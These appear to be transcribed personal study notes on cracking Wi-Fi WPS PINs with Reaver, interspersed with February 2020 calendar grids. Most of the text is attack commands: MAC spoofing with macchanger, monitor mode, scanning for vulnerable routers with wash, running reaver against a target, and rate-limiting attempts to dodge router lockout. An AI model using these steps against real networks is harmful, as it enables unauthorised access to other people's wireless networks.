Date ....

WPS CRACKING USING REAVER

There is also a method of pin connectivity in wireless networks.

Passing PIN CODES.

11000 PINS ONLY.

Don't forget to get the length of ur pin.

* reaver --help.

** CHANGE MAC ADRESS USING MACCHANGER
* before doing a reaver attack.

- if config wlan0 down
- iwconfig wlan0 mode monitor
- if config wlan0 up.

⇒ airmon-ng check wlan0.

Kill them as in aircrack.

FEB						2020
sun	mon	tue	wed	thu	fri	sat
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29

Date ....

→ Check nearby networks and whether they are vulnerable or not.

- wash -i wlan0.

If it doesn't work,
mkdir /etc/reaver

Run 'wash' command again.

→ Check signal strength. Its good for reaver upto -60. Possible upto 75 but gives issues.

- airodump-ng wlan0

⇒ The attack :-

- reaver -b $\underbrace{\qquad}_{\text{MAC address.}}$ -i wlan0 -c $\underbrace{6}_{\text{channel}}$

FEB 2020

sun	mon	tue	wed	thu	fri	sat
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29

Date

Sometimes, the router locks down because of bruteforcing at pin authentication.

=> Only bad thing about reaver.

<u>limiting reaver</u> is the solution to lockdowns, by limiting the no. of pins per minute.

- reaver -i wlan0 -b ______ -r 2:60 -c ______

  Mac add — 2 tries in 60 seconds — channel

Search WPS algorithm for ur router on net.

FEB						2020
sun	mon	tue	wed	thu	fri	sat
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29